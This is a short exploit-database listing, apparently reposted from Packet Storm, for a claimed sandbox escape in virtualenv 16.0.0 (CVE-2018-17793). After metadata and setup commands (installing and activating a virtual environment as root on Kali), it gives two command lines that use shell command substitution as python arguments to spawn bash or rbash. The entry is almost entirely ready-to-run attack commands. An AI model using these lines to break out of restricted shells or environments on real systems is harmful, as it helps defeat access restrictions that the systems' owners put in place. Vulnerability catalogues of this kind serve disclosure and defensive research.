virtualenv 16.0.0 Sandbox Escape

virtualenv version 16.0.0 suffers from a sandbox escape vulnerability.

MD5 | e9b225bbc1007fd96955c36fe899b6da

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# Exploit Title: virtualenv 16.0.0 - Sandbox Escape
# Date: 2018-10-02
# Exploit Author: vr_system
# Vendor Homepage: https://virtualenv.pypa.io/en/stable/
# Software Link: https://virtualenv.pypa.io/en/stable/
# Version: 16.0.0
# Tested on: kali linux
# CVE : CVE-2018-17793
 
# 1 Install
# root@kali:~#pip install virtualenv
# root@kali:~#virtualenv test_env
# root@kali:~#cd test_env/
# root@kali:~/test_env#source ./bin/activate
 
# 2 Sandbox escape
 
(test_env) root@kali:~/test_env#python $(bash >&2)
(test_env) root@kali:~/test_env#python $(rbash >&2)

Source: packetstormsecurity.com